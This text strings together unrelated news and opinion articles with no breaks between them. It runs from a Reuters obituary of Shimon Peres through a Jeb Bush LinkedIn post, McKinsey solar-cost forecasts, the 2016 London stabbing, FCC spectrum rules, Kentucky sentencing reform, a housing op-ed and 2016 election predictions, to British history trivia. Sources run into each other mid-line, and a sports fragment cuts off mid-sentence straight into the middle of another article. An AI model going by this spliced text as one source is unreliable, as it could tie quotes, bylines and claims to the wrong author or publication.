But Israel’s elder statesman won world acclaim and a Nobel prize as a symbol of hope in a region long plagued by war fueled by deep religious and political divisions.
Peres was hospitalized following a stroke two weeks ago and his condition had improved before a sudden deterioration on Tuesday, doctors said. In announcing his passing, family members said that he did not suffer pain, and as a last act after death, he donated his corneas for transplant.
“Don’t forget to be daring and curious and to dream big,” Peres urged first-graders at the start of the school year in a posting on his Facebook page earlier this month. The comment seemed to sum up his own credo.
In a career spanning nearly seven decades, Peres, once a shepherd on a kibbutz, or communal farm, served in a dozen cabinets and twice as Labour Party prime minister, but he never won a general election outright in five tries from 1977 to 1996.
“I am a loser. I lost elections. But I am a winner — I served my people,” Peres, who held the largely ceremonial post of president from 2007-2014, once said in a speech.
He shared the 1994 Nobel Peace Prize with Israel’s late prime minister Yitzhak Rabin and Palestinian leader Yasser Arafat for a 1993 accord that they and their successors failed to turn into a durable treaty.
When a far-right Jewish Israeli opposed to the peace deal assassinated Rabin in November 1995, the torch passed to Peres.
But Palestinian suicide bombings that killed dozens of Israelis and an aggressive campaign by Likud battered Peres’s rating and he lost the 1996 election to Benjamin Netanyahu by less than 30,000 votes.
In 2000, the failure of final-status peace talks with the Palestinians and the eruption of a Palestinian uprising rife with suicide bombings further damaged Israel’s left and Peres’s leadership prospects.
In 2005, Peres left the Labour Party to join then Prime Minister Ariel Sharon’s new party, Kadima, which had spearheaded Israel’s unilateral pullout from the Gaza Strip earlier that year. Following Kadima’s 2006 election victory, Peres served as vice prime minister.
FOUNDING FATHERS
Born in 1923 in what is now Belarus, Peres immigrated to British-ruled Palestine with his family a decade later.
Israel’s founding father David Ben-Gurion groomed him for leadership. He oversaw arms purchases and manpower in the Hagana, the Zionist fighting force, before Israel’s establishment.
Peres is widely seen as having gained nuclear capabilities for Israel by procuring the secret Dimona reactor from France while defense ministry director-general in the 1950s.
As defense minister he oversaw the dramatic 1976 Israeli rescue of hijacked Israelis at Entebbe airport in Uganda.
Peres was popular in his first term as prime minister in 1984-86 as part of a power-sharing pact with Likud. He pulled troops back from Lebanon, normalized relations with Egypt and cut inflation from 445 percent a year to below 20 percent.
Despite his key role in building Israel’s defenses, Peres never gained broad popular trust in his security credentials as Rabin, his Labour rival and former army chief, or Sharon enjoyed.
Most Israelis, hardened by frequent conflict, dismissed his vision that a new age for the Middle East was dawning hand-in-hand with peace deals.
He was seen abroad as an urbane diplomat but at home often as an ego-driven manipulator in domestic politics who eroded his party’s identity out of a thirst for cabinet posts after election losses to Likud.
Nevertheless, during his last years, the last of Israel’s founding fathers saw a rise in his popularity among Israelis. He used the presidency as a pulpit for advocating peace and maintained an active public schedule, encouraging Middle East diplomacy and technological innovation.
He is also known for his stewardship of the Peres Center for Peace, a non-governmental organization focused on building closer ties with the Palestinians, improving healthcare and developing local economies.
Earlier this month, after a series of health scares including a mild heart attack, Peres received an artificial pacemaker.
“I feel great. When can I get back to work already? I’m bored!” he told reporters at the time.
Peres wrote several books including “Entebbe Diary,” “The New Middle East” and “Battling for Peace.” His wife, Sonia, died in 2011. He is survived by two sons and a daughter.—ReutersAs a newcomer to LinkedIn and a recent entrant to the presidential race, I wanted to take this opportunity to build our network and share my views about issues that matter to all Americans – especially those active on LinkedIn. Specifically, where are the emerging opportunities in our economy, and how will we turn those opportunities into more full-time jobs and higher incomes for everyone who wants the opportunity to rise up?
These are issues I’ve been passionate about for decades, from my earliest days helping to run a commercial real estate firm in Miami. It was satisfying to start a business, create jobs, the experience kept me on my toes.
What I learned to do is keep my eyes open for new trends in the economy. I loved visiting my clients in their new spaces, seeing what they were doing to create value for customers and create jobs in their communities.
That’s why today I am visiting a relatively new company called Thumbtack, which is connecting small businesses, providers and freelance contractors to households and consumers. This is a digital service that is helping small businesses compete for work and giving Americans more buying choices.
I love learning about these kinds of companies precisely because before they existed, their market didn’t exist either. And in creating a new marketplace, they have created something that is valuable to their customers.
Now, these kinds of companies cause mental dissonance for people who think they can plan the future of the economy from Washington D.C. -- people like Hillary Clinton. She gave a speech recently where she rejected some of the core elements of the shared economy. She sees these emerging companies as a threat to the established order.
Worse, she is doubling down on President Obama’s economic ideas. She has no ambition to move our nation beyond the mediocre growth path we’re on – a growth path which is so different from what our digital innovators and other entrepreneurial Americans can help deliver if we get the right policies in place.
We have to challenge the assumptions, regulations and laws that protect most of Washington from true digital disruption – and that means the liberal ideology which would squash so much innovation if it could.
Big government liberals fundamentally can’t embrace digital innovation because it threatens the way they govern. They see car-sharing services as a threat to the local government taxi cab cartels. They see food trucks and Airbnb as a threat to urban planning and the tax and fee racket that they’ve imposed on brick and mortar restaurants and hotels. It’s no wonder that under President Obama, they’ve chosen to regulate the Internet using a law from the 1930s. Regulation is all they know and they’ve been using the same playbook for decades.
I’ve got a different view on things, and a different approach. I don’t mind disrupting the established order.
And in the coming months, I plan on making my views clear in this space and in speeches around the country. I want to lead this nation as we challenge the assumptions of our federal government. And I want to continue the transformation of our economy through technology and digital innovation.
Would love to hear your thoughts in the comments section on how we can best create an economy that gives more people the chance to achieve earned success.
JebOne of the big questions in the global energy is around the shape of the cost curve for solar PV in coming years. After stunning most people, including those in the solar industry itself, with cost declines of 70 per cent over the last two years, there is a great amount of speculation as to what happens next.
Will the shakeout in manufacturing, the balancing of supply and demand, and the inevitable search for sustainable operating margins mean that the speed of the cost declines is arrested? Or will technology improvements, productivity requirements, and the scalability that will be delivered as more countries reach cost parity deliver yet more cost declines?
Global consultancy McKinsey & Co, in its report Solar power: Darkest before dawn, says underlying PV costs are likely to continue to drop as manufacturing capacity doubles over the next three to five years. Indeed, the cost of a typical commercial system could fall a further 40 per cent by 2015 and an additional 30 per cent by 2020, permitting companies to capture attractive margins while vigorously installing new capacity.
McKinsey believes companies will achieve these dramatic cost reductions by using techniques used in more mature industries to optimise areas such as procurement, supply-chain management, and manufacturing. “Our analysis suggests that the cost of a commercial-scale rooftop system could be reduced by 40 per cent by 2015, to $US1.70 per Wp from roughly $US2.90 per Wp, and by approximately another 30 per cent by 2020 — to nearly $1.20 per Wp. Thus, it says, companies could position themselves to capture attractive margins, even as prices for PV modules decline.
This is how McKinsey expects this to unfold:
McKinsey says scale will be crucial for solar manufacturers; a few years ago, manufacturers needed to have 50-100MW of solar capacity to compete in the PV market, today they need 2-3GW of capacity to compete, it notes. And to achieve scale, they will also need strong balance sheets. Interestingly, China appears to have recognised this, too, which is why it has set ambitious targets for its major solar manufacturers over coming years.
McKinsey says partnerships across industry groups will almost certainly emerge as the impact of solar PV feeds into the broader economy. It envisages partnerships between manufacturers and home builders, security companies, broadband providers, phone companies, or retail power providers.
But the real money may be made away from the manufacturing sector. “The cost of capital is often the most crucial factor determining returns on solar projects,” it says. “To succeed in downstream markets, companies need strong capabilities in project finance – indeed, the entities that structure solar investments often achieve better returns than the companies that manufacture or install modules.”
It notes that solar companies are increasingly likely to turn to institutional investors, asset-management firms, private equity firms, and even the retail capital markets, to raise the sums required to finance the expected demand for solar, which could add up to more than $1 trillion over the next decade.
“As the solar investment pool swells, financial institutions, professional investors, and asset managers are likely to be drawn to the sector, since solar projects that are capital-heavy up front, but rely on stable contracts, will become attractive in comparison with traditional financial products. New types of downstream developers and investment products will emerge to aggregate low-cost equity and debt and to structure financial products with risk-return profiles aligned with the specific needs of institutional investors.”
In short, the maturation of a significant energy market.
Just out of interest, the McKinsey report also includes a brief description of how the global boom-bust in solar PV occurred and why. It’s one of the most concise reports on what happened, so it’s worth repeating.
Boom: 2005 to 2008
“The solar industry was initially nurtured in Germany, Japan, and the United States, then gained strength in countries such as Italy, where government support designed to boost demand helped photovoltaic (PV) manufacturers increase capacity, reduce costs, and advance their technologies.
“These subsidies helped spur demand that outpaced supply, which brought about shortages that underwrote bumper profits for the sector until 2008. The focus during this period was developing better cell and module technologies; many Silicon Valley–based venture-capital firms entered the space around this time, often by investing in companies in thin-film solar-cell manufacturing. Valuations for some of the more promising solar-cell start-ups at that time exceeded $1 billion.
“The price to residential customers of installing PV systems fell from more than $100 per watt peak (Wp) in 1975 to $8 per Wp by the end of 2007—although from 2005 to 2008, prices declined at the comparatively modest rate of 4 percent per year. German subsidies drove value creation, with the lion’s share of the value going to polysilicon, cell, and module-manufacturing companies in countries that are part of the Organisation for Economic Co-operation and Development.
Bust: 2009 to 2011
“Encouraged by the growth of the industry, other countries— including France, Canada, South Korea, Australia, South Africa, India, and China—began to offer support programs to foster the development of solar sectors within their borders.
“Chinese manufacturers began to build a solar- manufacturing sector targeting foreign countries where demand was driven by subsidies, particularly Germany. Armed with inexpensive labor and equipment, Chinese players triggered a race to expand capacity that drove PV prices down by 40 percent per year; prices fell from more than $4 per Wp in 2008 to about $1 per Wp in January 2012. We estimate that balance-of-system (BOS) costs declined by about 16 percent per year in this period, from about $4 per Wp in 2008 to approximately $2 per Wp in 2012 (these are more difficult to track, in part because BOS costs vary more than module costs).
‘The cost curve flattened for many upstream segments of the value chain during this period. For example, costs converged for many polysilicon manufacturers from 2010 to 2012; one force that drove this trend was the entry of players such as China’s OCI Solar Power and Malaysia’s GCL Solar, which contributed to polysilicon spot prices declining from about $50 per kilogram in 2010 to between $20 and $25 per kilogram today (exhibit). Solar-cell and module cost curves have flattened to similar degrees. As a result, value has migrated downstream to players that develop and finance solar projects and install capacity.
“By 2009, venture-capital firms began to shift their new solar investments from capital-intensive solar-cell manufacturers to companies focused on developing innovative downstream business models, such as Solar City, SunRun, and Sungevity.”The American woman stabbed to death in London was the wife of a university professor from Florida who was hours away from flying home.
The American woman stabbed to death in London was the wife of a university professor from Florida who was hours away from flying home.
London knife attack: US woman stabbed to death was hours away from flying home
Darlene Horton was visiting the capital with husband Richard Wagner, who was teaching summer classes, when she was attacked in Russell Square.
Florida State University said the couple had planned to return to their home in Tallahassee on Thursday.
The 64-year-old died at the scene and five other people were injured during the attack - the victims suffered a variety of stab wounds including to their chests, back, stomach and arm.
Sky News have named the 19-year-old attacker, a Norwegian national of Somali origin who moved to the UK in 2002, as Zakaria Bulhan from south London - he remains in police custody.
Florida State University (FSU) president John Thrasher said: "There are no words to express our heartache over this terrible tragedy.
"We are shocked that such senseless violence has touched our own FSU family and we will do all we can to assist Professor Wagner and his loved ones, as well as his friends and colleagues in the psychology department, as they mourn."
Florida Governor Rick Scott tweeted: "Extremely saddened to hear about the loss of Darlene Horton in London. Ann and I are praying for her family and loved ones."
Scotland Yard said no evidence has been found of radicalisation or anything to suggest the man in custody was "in any way motivated by terrorism".
Assistant Commissioner Mark Rowley said: "Whilst the investigation is not yet complete, all of the work we have done so far increasingly points to this tragic incident as having been triggered by mental-health issues.
"At this time, we believe this was a spontaneous attack and that the victims were selected at random."
Read More: Woman stabbed to death and five injured in London knife attack as police probe terror link
Mr Rowley, Britain's most senior counter-terrorism officer, also said armed officers arrived within six minutes of the call, adding: "The man was Tasered and he was detained." No shots were fired.
The episode took place in a popular tourist spot near the British Museum in Bloomsbury, and around a mile to the north of the bustling area around the Strand, where several theatres and scores of restaurants are located.
The events unfolded hours after Scotland Yard announced more armed officers would be deployed on public patrol around the capital after a spate of attacks in mainland Europe.
Met Police Commissioner Sir Bernard Hogan-Howe vowed to protect London, adding: "A normal night-out in our busy capital has ended in horrific circumstances."
London mayor Sadiq Khan called for the public to remain "calm and vigilant".
A British man who suffered a stab wound to his stomach in the attack remains in hospital in a "serious but stable" condition - while an American man, an Australian man and woman, and an Israeli woman were all discharged from hospital on Thursday after receiving treatment for their injuries.
Witnesses described chaotic scenes in the wake of the attack.
A cyclist who was passing the scene moments after the stabbing told how he was flagged down for help by a Spanish family.
Fernando, 40, from Brazil, had not seen the attacker but said the family told police the man was wearing black shorts and a white shirt, and was covering his face as he made sweeping, stabbing motions.
He went on: "The moment the police arrived, they asked them if the man had been shouting. They said that he didn't say anything. They said that when he stabbed the people he didn't shout or scream anything."
Jodie Parry, who was in her hotel room when she heard a "commotion" in the street, told the BBC that the attacker ignored police as they screamed at him to stop running.
She added: "He was actually carrying a knife in his hand and he had blood on his hands."
Pol O'Geibheannigh, 45, was walking back from the cinema when he saw a massive police presence and a woman lying in a pool of blood.
He said: "That level of police presence I haven't seen since 7/7 and I was here - I live around the corner."
Matthew Barzun, US ambassador to the UK, tweeted his condolences following the attack.
"Heartbreaking news that a U.S. citizen was killed in #RussellSquare attack. My prayers are with all the victims and their loved ones," he wrote.
Press AssociationAmidst all the recent net neutrality brouhaha, Silicon Valley pulled out a little-noticed victory at Thursday's FCC hearings that could lead to better Wi-Fi service in more places.
While the media were focused on the commission's vote to propose new rules that could result in Internet "fast lanes" for certain content, the FCC voted 3-2 to set aside three channels of television airwaves for unlicensed use, which Google, Microsoft and the like could potentially use to beam the Internet to consumers in new ways.
How does somebody get a license for airwaves? Is that like getting a license for a car?
One of the less glamorous jobs of the FCC is to issue licenses for parts of the electromagnetic spectrum -- the radio, for example. Say you're listening to the radio in New York City. You turn your radio dial, flipping past numbered stations, until you find the station that announces it's "98.7 Kiss FM." Not coincidentally, the radio dial tells you that 98.7 Kiss FM is located on the 98.7 megahertz band.
The FCC has licensed 98.7 Kiss FM to broadcast in New York City on airwaves moving at 98.7 megahertz. The license gives the station the exclusive right to broadcast on that frequency in New York; without that license, other entities could broadcast on that same band, potentially interfering with 98.7 Kiss FM's broadcast.
Television, mobile and many other types of airwave frequencies are licensed by the FCC in a similar fashion. The FCC usually auctions off these licenses at so-called spectrum auctions, which are often won by larger, established companies with a lot of money. The FCC actually set aside the slices of television spectrum as part of restructuring rules for one such upcoming auction.
If interference is likely with unlicensed airwaves, why do big tech companies want them?
Tech companies like Microsoft and Google have argued that, while crowded, the openness of unlicensed airwaves encourages innovation, as those with relatively little capital get new opportunities to experiment with spectrum.
Aparna Sridhar, a lawyer for Google, posted an appreciative reaction to the FCC's decision on the company's public policy blog:
Faster and cheaper access to online services drives usage of those services and thus demand for all forms of network access, creating a virtuous [sic] cycle of investment. Access to new, lower-frequency TV band spectrum could accelerate this process and create more unlicensed service options, allowing better indoor coverage and service in rural and underserved areas.
When the FCC cordoned off a big chunk of spectrum for unlicensed use in 1985, several innovative products emerged, including Wi-Fi. Even today, Wi-Fi uses unlicensed spectrum to broadcast, which is why some people worry about interference with their Wi-Fi signal.
In the last few years, industry observers have started to raise concerns that congestion on currently available Wi-Fi bandwidths will lead to an infrastructure-crippling "spectrum crunch." The newly freed bandwidths should help to relieve some of that competition for signal in the short term. And among the new technologies that companies have proposed for the space is a "super Wi-Fi" that could cover much larger geographical areas than the existing version of Wi-Fi.
So who's against this?
Television broadcasters mostly. Because the FCC is carving unlicensed bandwidths out of the television space, currently licensed broadcasters will have less so-called white space as a buffer between their frequencies. The National Association of Broadcasters on Thursday expressed its disappointment in a statement after the decision, expressing concerns about the technology that's being proposed to limit the interference with local signals.
Uh, so…is this a good thing or a bad thing?Kentucky has become the latest state to enact sentencing reforms in a bid to rein in skyrocketing corrections costs. Gov. Steve Beshear (D) last Thursday signed into law HB 463, a comprehensive corrections bill that will save the state millions of dollars a year, in part by sentencing drug possession offenders to probation instead of prison.
Kentucky Gov. Steve Beshear (Image courtesy Gage Bradshaw)
Roderer Correctional Complex
The bill was based on a multi-year collaboration between the Pew Center on the States Public Safety Performance Project and state officials. State officials and legislators working with the project convened a Task Force on the Penal Code and Controlled Substances Act and issued a January report that was the basis for the legislation."This overhaul of Kentucky's penal code is the result of a multi-year effort involving members of the executive, legislative and judicial branches," said Gov. Beshear. "Over the last three years, we've made headway with aggressive efforts to bring common sense to Kentucky's penal code, and our prison population has dropped each of the past three years. House Bill 463 helps us be tough on crime, while being smart on crime."The new law calls for sentences of "presumptive probation" for small-time drug possession offenders, meaning they will get probation unless judges can offer a compelling reason why they should go to prison. It also calls for drug treatment to be made available for drug offenders. It reduces penalties for small-time drug dealing while increasing penalties for large-scale trafficking. And it shrinks "drug-free" zones from 1,000 yards to 1,000 feet.The law also reduces sentences for small-time drug dealing. Sales of less than four grams of cocaine, two grams of heroin or methamphetamine, or 10 dosage units of other controlled substances will be reduced from a Class C felony to a Class D felony."Today, if you sell half a gram of rock cocaine, that's a Class C felony," said Van Ingram, director of the Kentucky Office of Drug Control Policy. "When the new law goes into effect in 90 days, you will have to sell more than four grams to get Class C. That means instead of a five-to-ten-year sentence, you'll be looking at one-to-five," he told the Chronicle.The new law lowers possession of less than an ounce of marijuana from a Class A misdemeanor worth up to a year in jail to a Class B misdemeanor with a maximum sentence of 45 days in jail, if any jail sentence is imposed.It also requires reforms of the probation and parole system. It will create "graduated sanctions" for parole violators, allowing authorities to impose short jail stays instead of sending them back to prison for technical violations. And it removes drug offenses from consideration when judges impose sentencing enhancements based on previous felony convictions.Although crime rates have remained steady or dropped, Kentucky's prison population has increased fourfold in the past two decades, from 5,000 in 1990 to more than 20,000 now. Drug offenders account for 25% of the prison population, but 38% of inmates admitted since 2000. The state's corrections budget this year is $460 million, and Kentucky is set to save nearly that much over the next decade by implementing the new sentencing structure."Of all the problems I inherited, this is one of the most complex," Gov. Beshear said. "In early 2008, I directed Justice & Public Safety Secretary J. Michael Brown to convene the Criminal Justice Council and report back on recommendations for curbing the rising prison population. That report, and the work of subsequent work groups, provided the groundwork for much of these reforms.""This bill takes major steps to both decrease recidivism while addressing the unique problems Kentucky faces with substance abuse in ways that absolutely enhance public safety," said Brown."House Bill 463 is landmark legislation not only for the positive changes it proposes for our penal code, but also for the manner in which it became law," said Speaker Greg Stumbo. "Anytime you can bring together as many diverse groups as this bill did, and have them agree, you're on to something special. Rep. John Tilley and Sen. Tom Jensen did a tremendous job in getting this bill to the finish line.""It is the most significant and meaningful piece of legislation that I have had the privilege to work on since being elected to the state legislature," said Sen. Tom Jenson, chairman of the Senate Judiciary Committee. "I am pleased that the Task Force on the Penal Code and Controlled Substances is going to continue studying these issues. We have gotten off to a great start and we need to continue working to make things better where we can.""I'm pleased we're making progress in tackling the problems facing our penal code," Chief Justice of Kentucky John D. Minton Jr. said. "With all three branches involved in this deliberative process, I'm confident that the outcome will be positive for Kentucky.""Senator Jensen, Representative Tilley, Senate President Williams and House Speaker Stumbo worked across party lines to look at the data and forge a comprehensive package of reforms that will get Kentucky taxpayers a better public safety return on their corrections dollars," said Richard Jerome, project manager of the Pew Center on the States Public Safety Performance Project. "The legislation employs research-based strategies to reduce recidivism, hold offenders accountable and maximize the state's limited financial resources."Sentencing reforms are becoming increasingly popular as cash-strapped states face ever increasing budget pressures. South Carolina, Colorado, New York, and Texas are among states that have reformed sentencing and other corrections practices to lower imprisonment rates and save money. Similar efforts are pending in Delaware, Florida, Indiana, Massachusetts, Ohio, and Pennsylvania.Sentencing reforms don't end drug prohibition, but they do somewhat reduce its inhumanity and its costs to society, as well as to the people busted for drug offenses. That's a start.A few weeks ago we did a film study on Tyrone Crawford. He had been moved to the 3-tech |
given the authority, the funds, or the ability to secure the funds, and be able to develop for itself the administrative and organizational capacity to deliver affordable housing stock. The solution requires organizing a variety of funding sources and mechanisms, applying a number of legal tools and tax incentives as well as the application of professional and entrepreneurial skills, with the “power” to act aggressively.
In addition to requesting tax reform as an incentive to developers, the city should take the following steps:
• Funds realized through extraordinary fees on real estate — including the foreign ownership tax, land transfer tax, vacant unit tax — should be earmarked for affordable housing.
• Land should be made available by the city to developers for non-market rental and should never be sold, but leased for $1.00 or at affordable rates.
• All new condos should include a percentage (up to 15 per cent) of affordable rental units.
• Ask the federal government to increase the depreciation rate for affordable housing projects, and return to making soft costs for non-market rental housing tax deductible.
• Ask the federal government to provide cities with new taxing power and the ability to tap new sources of revenues, including tax free municipal bonds.
• Demonstrate long-term profitability to induce and encourage pension funds and privately owned REITs to invest in market and non-market rentals.
• Establish an effective robust housing department under strong leadership with the human and financial resources to meet housing demand and set higher goals, such as delivering 10,000 to 20,000 units per year, through both public and private mechanisms.
Herb Auerbach is a real estate development consultant who teaches a class on the subject at Simon Fraser University.ANALYSIS/OPINION:
The 2016 presidential contest was the year that all the pollsters and pundits got it wrong. Hillary Clinton’s team was so confident in their win, they didn’t even bother doing tracking polls in states such as Wisconsin and Michigan, which helped seal her loss. Below are the best of the worst predictions — and some, like mine, that got things right.
Best of the Worst
1. “It’s clear that Evan McMullin’s surge from unknown to contender to win Utah — and become the first nonmajor party candidate to win a state since 1968 — is real.” — FiveThirtyEight blog, Nov. 1, 2016
Yes, the polls at the time showed Mr. McMullin — the NeverTrumper’s last hope at denying Donald Trump the White House — in a close race with Mr. Trump and Hillary Clinton at the time. But this was wishful thinking at its best — and the thought Mr. McMullin could send the election to the House of Representatives a pipe dream. Republicans in Utah came home to Mr. Trump, with him winning the state by 45.1 percent of the vote. Mrs. Clinton came in second with 27 percent, and Mr. McMullin third with 21 percent.
2. “Could Clinton actually win [Texas]? Well, sure. She could. … If Clinton beats Trump by a wide enough margin overall, that means she’s pulled a number of states to the left. And it means that, yes, she could win Texas.” — Washington Post’s “The Fix” column, Oct. 18, 2016
Not even close — why there was ever even a column written about this possibility demonstrated the overconfidence both the Democrats and the media had in the Clinton campaign. Only a few polls had been done in the state that had Mr. Trump’s lead at 2 percent to 3 percent. However, instead of betting Mr. Trump would win it by a larger margin (he did, by 9 percentage points), the press decided to go with the option that Mrs. Clinton could win it based on her nationally polling strength at the time.
3. “Nancy Pelosi, speaker of the House. As Donald Trump’s poll numbers tank, dragging the whole GOP down with him, the possibility that Pelosi could return to the speaker’s chair after a six-year absence has suddenly grown very real,” — Politico, Oct. 17, 2016
Funny. Republicans held the House for the fourth straight year — they also kept control of the Senate after decisive wins, where Democrats only made modest gains. It seemed Mr. Trump helped lift the Republican ticket instead of erode it — something the press and many establishment Republicans never dreamed.
4. “Donald Trump is not going to win Michigan.” — New York Magazine, Nov. 7, 2016
Author Jonathan Chait wrote a day before the election: “I am here to tell you that Michigan is not a Trump state.” Except it was. Although Michigan voted Democratic in each of the last six presidential elections, by an average margin exceeding 9 percent, Mr. Trump was able to flip blue-collar, once-Reagan Democratic counties like Macomb. His jobs message resonated in the Rust Belt — something Mr. Chait was (and is still) unable to process, despite his intellectualizing of its electorate and polling history.
5. “A Clinton may once again take Arizona come November. According to FiveThirtyEight’s Nate Silver, Hillary Clinton currently has a 53 percent chance to win the Grand Canyon State, compared to 47 percent for Donald Trump,” ABC15, Oct. 15, 2016
Ha. It was a state she didn’t even need to win, yet dedicated more resources there than she did in Wisconsin or Michigan. She had 32 offices open in the state, and her campaign manager said in October it was a battleground state that was “now on the map,” citing its Latino voters. Instead of campaigning in the Rust Belt during the final weeks, Mrs. Clinton made campaign appearances in Arizona and sent Michelle Obama to campaign in the state for her. Mr. Trump won Arizona by 3.5 percentage points.
Winners
1. Professor Alan Lichtman
The history professor at American University predicted in September that Democrats wouldn’t be able to hold onto the White House. Mr. Lichtman, also the author of “Predicting the Next President: The Keys to the White House 2016,” has predicted 30 years of presidential contests correctly based on a series of true/false questions — not based on polls or other analytics. He, again, was correct this year.
2. “Reminder: Cubs will win the World Series and, in exchange, President Trump will be elected 8 days later,” pollster Nate Silver, May 11, 2016
It was a tweet that was supposed to be funny and ironic — both had such slim odds according to his forecast models, they were fantasy — but that tweet turned out to be Mr. Silver’s most accurate prediction all year.
3. Kelly Riddell
Yes, I’m giving myself some props here. On Nov. 3, 2016, I described in a column how the 2016 election looked a lot like 1980s — where Ronald Reagan had a strong comeback. I predicted Michigan and the Rust Belt were once again in play and that Mr. Trump’s possibility to win was real. On Aug. 18, 2016, I wrote in another column why Mr. Trump should be called Mr. Brexit — comparing how the British vote to exit the European Union was similar to Mr. Trump’s candidacy. I wrote of the hidden, forgotten, silent vote and how that could be essential to Mr. Trump’s win and how the pollsters may miss it.
4. Salena Zito
Ms. Zito wasn’t a pundit or a pollster, but she did real work interviewing potential Trump voters in the Rust Belt. When the pundits said Mr. Trump lost his September debate with Mrs. Clinton, Ms. Zito had a different take, saying he won over a bar of Democrats in Pennsylvania. She was often mocked by the political class for her anecdotal takes on the election — but all of them proved to be right. Trump’s voters were “hidden in plain sight” she wrote — it seemed she was one of the few reporters this election cycle that actually chose to see.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Writing for History Extra Philip Haycock, the co-author of Unexpected Britain: A Journey Through Our Hidden History, shares eight lesser-known facts about Britain’s hidden history…
1 Boudica was not the only Briton to cause nuisance to the Romans
Pelagius was a British heretic who caused grief for St Augustine and the Christian Church of the late Roman empire.
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Pelagius was born somewhere in the British Isles at the end of the fourth century. St Jerome described him as “Scottorum pultibus praegravatus” or “weighed down by Irish porridge”, so his origins may have been in Scotland or even Ireland.
Wherever he was born, Pelagius turned up in Rome at the turn of the fifth century and began preaching views that caused great offence to St Augustine, the theological superstar of the time. While St Augustine taught that sin was original, could not be avoided and could only be solved by God’s grace, Pelagius preached that Christians possessed an element of choice. Individual humans could choose whether to sin or not. Today, in an age of free will, this idea may not seem controversial, but in the fifth century such views were considered heresy.
However, in 410 the army of Alaric was a more dangerous threat to the safety of Rome than a British heretic. Pelagius fled to Africa and then Palestine, where he attempted to prove he was not a heretic. In 418 the emperor Honorius weighed in against him and he was banned from Italy. Things got worse when the wonderfully named Pope Zosimus excommunicated him. Pelagius fled to Egypt, where he disappeared from the records.
2 Saxon women did exercise political influence
Corfe Castle in Dorset was the scene of Edward the Martyr’s death, on 18 March 978. Some people assume his stepmother, Aelfthryth, was responsible.
Aelfthryth, meaning ‘elf-strength’, was the beautiful daughter of a powerful ealdorman [a high-ranking royal official and prior magistrate of an Anglo-Saxon shire] in 10th-century Wessex. King Edgar sent his friend Aethelwald to check her out. Aethelwald liked what he saw and himself married Aelfthryth, while telling King Edgar that she was not worth the king’s effort. However, Edgar must have suspected that his friend had betrayed him and decided to pay Aethelwald and Aelfthryth a visit.
Aethelwald panicked and told his wife to make herself look ugly, to hide his deception from the king. Aelfthryth ignored her husband’s instructions to hide her beauty, and instead set out to make the most of her charms. Edgar was transfixed. Subsequently, Aethelwald died in a mysterious (and somewhat suspicious) accident while hunting with Edgar, and Aelfthryth became queen.
This is the scandalous story written down by William of Malmesbury in the 12th century and it may contain elements that are untrue. However, it is clear that by 964/5 Aelfthryth had married Edgar and was queen.
Aelfthryth was an active queen. She took an interest in nunneries and became a forespeca – an advocate helping to mediate between people and the crown. However, it was in securing the interest of her two sons, Edmund and Aethelred, that she was to be most active.
The problem was that King Edgar had had a child, Edward, from a previous relationship, and Edward was older than Aelfthryth’s sons. When Edgar died in 975 it was Edward who became king. His reign was cut short when, during a visit to Corfe Castle to see Aelfthryth and her surviving son, Aethelred, he was killed (Edmund had died of natural causes). What role Aelfthryth played in the murder remains unclear, but Edward was increasingly viewed as a martyr.
Following Edward’s death Aelfthryth became regent and ruled until Aethelred came of age in 984. Aethelred, known by his nickname ‘unready’ – meaning ‘without counsel’ – is better known than his mother, but it is to his mother that he owed the throne.
3 Harold II (the one with the arrow in his eye) was not the last Saxon king
Between 14 October 1066, when Harold II was killed at the battle of Hastings, and 25 December, when William I was crowned at Westminster Abbey, England was ruled, at least in theory, by Edgar Atheling, who took the title Edgar II, the last of the Saxon kings.
Edgar was the son of Edward the Exile and his claim to the throne came from his grandfather, Edmund Ironside, the third son of the Saxon king Aethelred the Unready. Edgar was given the name ‘Atheling’, meaning heir or royal prince, by Edward the Confessor, which suggests that Edward was considering him as his successor.
When Edward died in January 1066, Edgar Atheling may have had the strongest blood-claim to the throne, but he did not have the political support in the witan [the council summoned by Anglo-Saxon kings] enjoyed by Harold Godwineson or the military strength of either Harald Hardrada or William of Normandy. Therefore, his claim to the throne was ignored.
However, following the death of Harald Hardrada at the battle of Stamford Bridge in September 1066 and Harold Godwineson at Hastings in October, Edgar was the obvious choice for those who still opposed William. The witan in London was quick to get Archbishop Stigand to crown Edgar. However, as William approached London and began burning villages to intimidate the Saxons, support for Edgar vanished.
Edgar did not give up and he was to spend the remainder of his life campaigning to become king of England, or at least to establish his influence over Norman England. He and his family headed north for Scotland, where its king, Malcolm III, was happy to give refuge to Saxons escaping from the Normans. Edgar’s sister Margaret married Malcolm III of Scotland in 1069 and as a result Scotland was to provide a safe haven for Edgar for much of the rest of his life. It was often from Scotland that he campaigned to influence events in England.
When William died in 1087 he left his land in Normandy to his eldest son, Robert Curthouse, and his younger son William Rufus became William II, king of England. In the subsequent power struggle between William’s sons, Edgar backed Robert, hoping that the elder son would win. Once again, Edgar ended on the losing side, as in 1096 Robert went off to Crusade, which he financed by mortgaging Normandy to William Rufus.
Edgar went on to outlive William II, who died in a hunting accident in 1100, and the throne of England passed to Henry I. Edgar continued to support the claims of Robert Curthouse, Duke of Normandy. He was imprisoned when Henry I defeated Robert at the battle of Tinchebray. However, he was released thanks to his Scottish connection. His niece Edith, daughter of his sister Margaret and Malcolm III, had married Henry I of England.
Edgar is thought to have died in 1125. His rule, as the last of the Saxons, may have been a matter of weeks, but he was to outlive both William and his sons.
4 Henry VIII was never intended to be a king of England
Prince Arthur was the eldest son of Henry VII and Elizabeth of York and was the legitimate heir to the Tudor throne, rather than his younger brother Prince Henry.
Henry Tudor defeated Richard III at the battle of Bosworth in August 1485 and installed the Tudor dynasty. In January 1486 Henry Tudor strengthened his claim to the throne by marrying Elizabeth of York, the eldest daughter of Edward IV, thus uniting the houses of York and Lancaster.
Almost exactly nine months later, on 19 September 1486, Henry and Elizabeth’s first son was born at St Swithun’s Priory in Winchester. The proud parents chose the name Arthur, hoping his reign would introduce a new ‘Arthurian age’. Sir Thomas Malory’s Le Morte d’Arthur [telling the legends of King Arthur and his knights] was hot off the Caxton press, published the previous year.
In 1490 the young Arthur was invested as Prince of Wales and, at the grand age of six, was appointed keeper of England and king’s lieutenant when his father was away in France. In 1497 Henry VII arranged for Arthur to marry Princess Catherine, the daughter of Queen Isabella I of Castile and King Ferdinand II of Aragon.
